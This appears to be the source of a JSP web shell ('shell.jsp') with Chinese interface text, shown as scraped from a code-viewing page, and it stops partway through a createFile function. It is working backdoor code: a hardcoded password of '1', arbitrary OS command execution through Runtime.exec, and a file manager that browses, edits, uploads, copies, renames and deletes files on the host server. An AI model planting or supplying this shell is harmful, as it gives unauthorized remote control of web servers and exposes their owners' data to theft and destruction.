📄 shell.jsp
字号:
<%@ page contentType="text/html; charset=GBK" %>
<%@ page import="java.io.*"%>
<%@ page import="java.util.Map"%>
<%@ page import="java.util.HashMap"%>
<%@ page import="java.nio.charset.Charset"%>
<%@ page import="java.util.regex.*"%>
<%@ page import="java.sql.*"%>
<%!
private String _password = "1";
private String _encodeType = "GB2312";
private int _sessionOutTime = 20;
private String[] _textFileTypes = {"txt", "htm", "html", "asp", "jsp", "java", "js", "css", "c", "cpp", "sh", "pl", "cgi", "php", "conf", "xml", "xsl", "ini", "vbs", "inc"};
private Connection _dbConnection = null;
private Statement _dbStatement = null;
private String _url = null;
public boolean validate(String password) {
if (password.equals(_password)) {
return true;
} else {
return false;
}
}
public String HTMLEncode(String str) {
str = str.replaceAll(" ", " ");
str = str.replaceAll("<", "<");
str = str.replaceAll(">", ">");
str = str.replaceAll("\r\n", "<br>");
return str;
}
public String Unicode2GB(String str) {
String sRet = null;
try {
sRet = new String(str.getBytes("ISO8859_1"), _encodeType);
} catch (Exception e) {
sRet = str;
}
return sRet;
}
public String exeCmd(String cmd) {
Runtime runtime = Runtime.getRuntime();
Process proc = null;
String retStr = "";
InputStreamReader insReader = null;
char[] tmpBuffer = new char[1024];
int nRet = 0;
try {
proc = runtime.exec(cmd);
insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312"));
while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) {
retStr += new String(tmpBuffer, 0, nRet);
}
insReader.close();
retStr = HTMLEncode(retStr);
} catch (Exception e) {
retStr = "<font color=\"red\">bad command \"" + cmd + "\"</font>";
} finally {
return retStr;
}
}
public String pathConvert(String path) {
String sRet = path.replace('\\', '/');
File file = new File(path);
if (file.getParent() != null) {
if (file.isDirectory()) {
if (! sRet.endsWith("/"))
sRet += "/";
}
} else {
if (! sRet.endsWith("/"))
sRet += "/";
}
return sRet;
}
public String strCut(String str, int len) {
String sRet;
len -= 3;
if (str.getBytes().length <= len) {
sRet = str;
} else {
try {
sRet = (new String(str.getBytes(), 0, len, "GBK")) + "...";
} catch (Exception e) {
sRet = str;
}
}
return sRet;
}
public String listFiles(String path, String curUri) {
File[] files = null;
File curFile = null;
String sRet = null;
int n = 0;
boolean isRoot = path.equals("");
path = pathConvert(path);
try {
if (isRoot) {
files = File.listRoots();
} else {
try {
curFile = new File(path);
String[] sFiles = curFile.list();
files = new File[sFiles.length];
for (n = 0; n < sFiles.length; n ++) {
files[n] = new File(path + sFiles[n]);
}
} catch (Exception e) {
sRet = "<font color=\"red\">bad path \"" + path + "\"</font>";
}
}
if (sRet == null) {
sRet = "\n";
sRet += "<script language=\"javascript\">\n";
sRet += "var selectedFile = null;\n";
sRet += "<!--\n";
sRet += "function createFolder() {\n";
sRet += " var folderName = prompt(\"请输入目录名\", \"\");\n";
sRet += " if (folderName != null && folderName != false && ltrim(folderName) != \"\") {\n";
sRet += " window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=createFolder&folderName=\" + folderName + \"" + "\";\n";
sRet += " }\n";
sRet += "}\n";
sRet += "\n";
sRet += "function createFile() {\n";
sRet += " var fileName = prompt(\"请输入文件名\", \"\");\n";
sRet += " if (fileName != null && fileName != false && ltrim(fileName) != \"\") {\n";
sRet += " window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=createFile&fileName=\" + fileName + \"" + "\";\n";
sRet += " }\n";
sRet += "}\n";
sRet += "\n";
sRet += "function selectFile(obj) {\n";
sRet += " if (selectedFile != null)\n";
sRet += " selectedFile.style.backgroundColor = \"#FFFFFF\";\n";
sRet += " selectedFile = obj;\n";
sRet += " obj.style.backgroundColor = \"#CCCCCC\";\n";
sRet += "}\n";
sRet += "\n";
sRet += "function change(obj) {\n";
sRet += " if (selectedFile != obj)\n";
sRet += " obj.style.backgroundColor = \"#CCCCCC\";\n";
sRet += "}\n";
sRet += "\n";
sRet += "function restore(obj) {\n";
sRet += " if (selectedFile != obj)\n";
sRet += " obj.style.backgroundColor = \"#FFFFFF\";\n";
sRet += "}\n";
sRet += "\n";
sRet += "function showUpload() {\n";
sRet += " up.style.visibility = \"visible\";\n";
sRet += "}\n";
sRet += "\n";
sRet += "function copyFile() {\n";
sRet += " var toPath = prompt(\"请输入要复制到的目录(绝对路径)\", \"\");\n";
sRet += " if (toPath != null && toPath != false && ltrim(toPath) != \"\") {\n";
sRet += " document.fileList.action = \"" + curUri + "&curPath=" + path + "&fsAction=copyto&dstPath=" + "\" + toPath;\n";
sRet += " document.fileList.submit();\n";
sRet += " }\n";
sRet += "}\n";
sRet += "\n";
sRet += "function rename() {\n";
sRet += " var count = 0;\n";
sRet += " var selected = -1;\n";
sRet += " for (var i = 0; i < document.fileList.filesDelete.length; i ++) {\n";
sRet += " if (document.fileList.filesDelete[i].checked) {\n";
sRet += " count ++;\n";
sRet += " selected = i;\n";
sRet += " }\n";
sRet += " }\n";
sRet += " if (count > 1)\n";
sRet += " alert(\"不能重命名多个文件\");\n";
sRet += " else if (selected == -1)\n";
sRet += " alert(\"没有选中要重命名的文件\");\n";
sRet += " else {\n";
sRet += " var newName = prompt(\"请输入新文件名\", \"\");\n";
sRet += " if (newName != null && newName != false && ltrim(newName) != \"\") {\n";
sRet += " window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=rename&newName=\" + newName + \"&fileRename=\" + document.fileList.filesDelete[selected].value;";
sRet += " }\n";
sRet += " }\n";
sRet += "}\n";
sRet += "\n";
sRet += "//-->\n";
sRet += "</script>\n";
sRet += "<table width=\"100%\" border=\"0\" cellpadding=\"2\" cellpadding=\"1\">\n";
sRet += " <form enctype=\"multipart/form-data\" method=\"post\" name=\"upload\" action=\"" + curUri + "&curPath=" + path + "&fsAction=upload" + "\">\n";
if (curFile != null) {
sRet += " <tr>\n";
sRet += " <td colspan=\"4\" valign=\"middle\">\n";
sRet += " <a href=\"" + curUri + "&curPath=" + (curFile.getParent() == null ? "" : pathConvert(curFile.getParent())) + "\">上级目录</a> ";
sRet += "<a href=\"#\" onclick=\"javascript:createFolder()\">创建目录</a> ";
sRet += "<a href=\"#\" onclick=\"javascript:createFile()\">新建文件</a> ";
sRet += "<a href=\"#\" onclick=\"javascript:document.fileList.submit();\">删除</a> ";
sRet += "<a href=\"#\" onclick=\"javascript:copyFile()\">复制</a> ";
sRet += "<a href=\"#\" onclick=\"javascript:rename()\">重命名</a> ";
sRet += "<a href=\"#\" onclick=\"javascript:showUpload()\">上传文件</a>\n";
sRet += "<span style=\"visibility: hidden\" id=\"up\"><input type=\"file\" value=\"上传\" name=\"upFile\" size=\"8\" class=\"textbox\" /> <input type=\"submit\" value=\"上传\" class=\"button\"></span>\n";
sRet += " </td>\n";
sRet += " </tr>\n";
}
sRet += "</form>\n";
sRet += " <form name=\"fileList\" method=\"post\" action=\"" + curUri + "&curPath=" + path + "&fsAction=deleteFile" + "\">\n";
for (n = 0; n < files.length; n ++) {
sRet += " <tr onclick=\"javascript: selectFile(this)\" onmouseover=\"javascript: change(this)\" onmouseout=\"javascript: restore(this)\" style=\"cursor:hand;\">\n";
if (! isRoot) {
sRet += " <td width=\"5%\" align=\"center\"><input type=\"checkbox\" name=\"filesDelete\" value=\"" + pathConvert(files[n].getPath()) + "\" /></td>\n";
if (files[n].isDirectory()) {
sRet += " <td><a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "\" title=\"" + files[n].getName() + "\"><" + strCut(files[n].getName(), 50) + "></a></td>\n";
} else {
sRet += " <td><a title=\"" + files[n].getName() + "\">" + strCut(files[n].getName(), 50) + "</a></td>\n";
}
sRet += " <td width=\"15%\" align=\"center\">" + (files[n].isDirectory() ? "<dir>" : "") + ((! files[n].isDirectory()) && isTextFile(getExtName(files[n].getPath())) ? "<<a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "&fsAction=open" + "\">edit</a>>" : "") + "</td>\n";
sRet += " <td width=\"15%\" align=\"center\">" + files[n].length() + "</td>\n";
} else {
sRet += " <td><a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "\" title=\"" + files[n].getName() + "\">" + pathConvert(files[n].getPath()) + "</a></td>\n";
}
sRet += " </tr>\n";
}
sRet += " </form>\n";
sRet += "</table>\n";
}
} catch (SecurityException e) {
sRet = "<font color=\"red\">security violation, no privilege.</font>";
}
return sRet;
}
public boolean isTextFile(String extName) {
int i;
boolean bRet = false;
if (! extName.equals("")) {
for (i = 0; i < _textFileTypes.length; i ++) {
if (extName.equals(_textFileTypes[i])) {
bRet = true;
break;
}
}
} else {
bRet = true;
}
return bRet;
}
public String getExtName(String fileName) {
String sRet = "";
int nLastDotPos;
fileName = pathConvert(fileName);
nLastDotPos = fileName.lastIndexOf(".");
if (nLastDotPos == -1) {
sRet = "";
} else {
sRet = fileName.substring(nLastDotPos + 1);
}
return sRet;
}
public String browseFile(String path) {
String sRet = "";
File file = null;
FileReader fileReader = null;
path = pathConvert(path);
try {
file = new File(path);
fileReader = new FileReader(file);
String fileString = "";
char[] chBuffer = new char[1024];
int ret;
sRet = "<script language=\"javascript\">\n";
while ((ret = fileReader.read(chBuffer, 0, 1024)) != -1) {
fileString += new String(chBuffer, 0, ret);
}
sRet += "var wnd = window.open(\"about:blank\", \"_blank\", \"width=600, height=500\");\n";
sRet += "var doc = wnd.document;\n";
sRet += "doc.write(\"" + "aaa" + "\");\n";
sRet += "</script>\n";
} catch (IOException e) {
sRet += "<script language=\"javascript\">\n";
sRet += "alert(\"打开文件" + path + "失败\");\n";
sRet += "</script>\n";
}
return sRet;
}
public String openFile(String path, String curUri) {
String sRet = "";
boolean canOpen = false;
int nLastDotPos = path.lastIndexOf(".");
String extName = "";
String fileString = null;
File curFile = null;
path = pathConvert(path);
if (nLastDotPos == -1) {
canOpen = true;
} else {
extName = path.substring(nLastDotPos + 1);
canOpen = isTextFile(extName);
}
if (canOpen) {
try {
fileString = "";
curFile = new File(path);
FileReader fileReader = new FileReader(curFile);
char[] chBuffer = new char[1024];
int nRet;
while ((nRet = fileReader.read(chBuffer, 0, 1024)) != -1) {
fileString += new String(chBuffer, 0, nRet);
}
fileReader.close();
} catch (IOException e) {
fileString = null;
sRet = "<font color=\"red\">不能打开文件\"" + path + "\"</font>";
} catch (SecurityException e) {
fileString = null;
sRet = "<font color=\"red\">安全问题,没有权限执行该操作</font>";
}
} else {
sRet = "<font color=\"red\">file \"" + path + "\" is not a text file, can't be opened in text mode</font>";
}
if (fileString != null) {
sRet += "<script language=\"javascript\">";
sRet += "<!--\n";
sRet += "function saveAs() {\n";
sRet += " var fileName = prompt(\"请输入文件名\", \"\");\n";
sRet += " if (fileName != null && fileName != false && ltrim(fileName) != \"\") {\n";
sRet += " document.openfile.action=\"" + curUri + "&curPath=" + pathConvert(curFile.getParent()) + "\" + fileName + \"&fsAction=saveAs\";\n";
sRet += " document.openfile.submit();\n";
sRet += " }\n";
sRet += "}\n";
sRet += "//-->\n";
sRet += "</script>\n";
sRet += "<table align=\"center\" width=\"100%\" cellpadding=\"2\" cellspacing=\"1\">\n";
sRet += " <form name=\"openfile\" method=\"post\" action=\"" + curUri + "&curPath=" + path + "&fsAction=save" + "\">\n";
sRet += " <tr>\n";
sRet += " <td>[<a href=\"" + curUri + "&curPath=" + pathConvert(curFile.getParent()) + "\">上级目录</a>]</td>\n";
sRet += " </tr>\n";
sRet += " <tr>\n";
sRet += " <td align=\"center\">\n";
sRet += " <textarea name=\"fileContent\" cols=\"80\" rows=\"32\">\n";
sRet += fileString;
sRet += " </textarea>\n";
sRet += " </td>\n";
sRet += " </tr>\n";
sRet += " <tr>\n";
sRet += " <td align=\"center\"><input type=\"submit\" class=\"button\" value=\"保存\" /> <input type=\"button\" class=\"button\" value=\"另存为\" onclick=\"javascript:saveAs()\" /></td>\n";
sRet += " </tr>\n";
sRet += " </form>\n";
sRet += "</table>\n";
}
return sRet;
}
public String saveFile(String path, String curUri, String fileContent) {
String sRet = "";
File file = null;
path = pathConvert(path);
try {
file = new File(path);
if (! file.canWrite()) {
sRet = "<font color=\"red\">文件不可写</font>";
} else {
FileWriter fileWriter = new FileWriter(file);
fileWriter.write(fileContent);
fileWriter.close();
sRet = "文件保存成功,正在返回,请稍候……\n";
sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "&fsAction=open" + "\" />\n";
}
} catch (IOException e) {
sRet = "<font color=\"red\">保存文件失败</font>";
} catch (SecurityException e) {
sRet = "<font color=\"red\">安全问题,没有权限执行该操作</font>";
}
return sRet;
}
public String createFolder(String path, String curUri, String folderName) {
String sRet = "";
File folder = null;
path = pathConvert(path);
try {
folder = new File(path + folderName);
if (folder.exists() && folder.isDirectory()) {
sRet = "<font color=\"red\">\"" + path + folderName + "\"目录已经存在</font>";
} else {
if (folder.mkdir()) {
sRet = "成功创建目录\"" + pathConvert(folder.getPath()) + "\",正在返回,请稍候……\n";
sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + folderName + "\" />";
} else {
sRet = "<font color=\"red\">创建目录\"" + folderName + "\"失败</font>";
}
}
} catch (SecurityException e) {
sRet = "<font color=\"red\">安全问题,没有权限执行该操作</font>";
}
return sRet;
}
public String createFile(String path, String curUri, String fileName) {
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -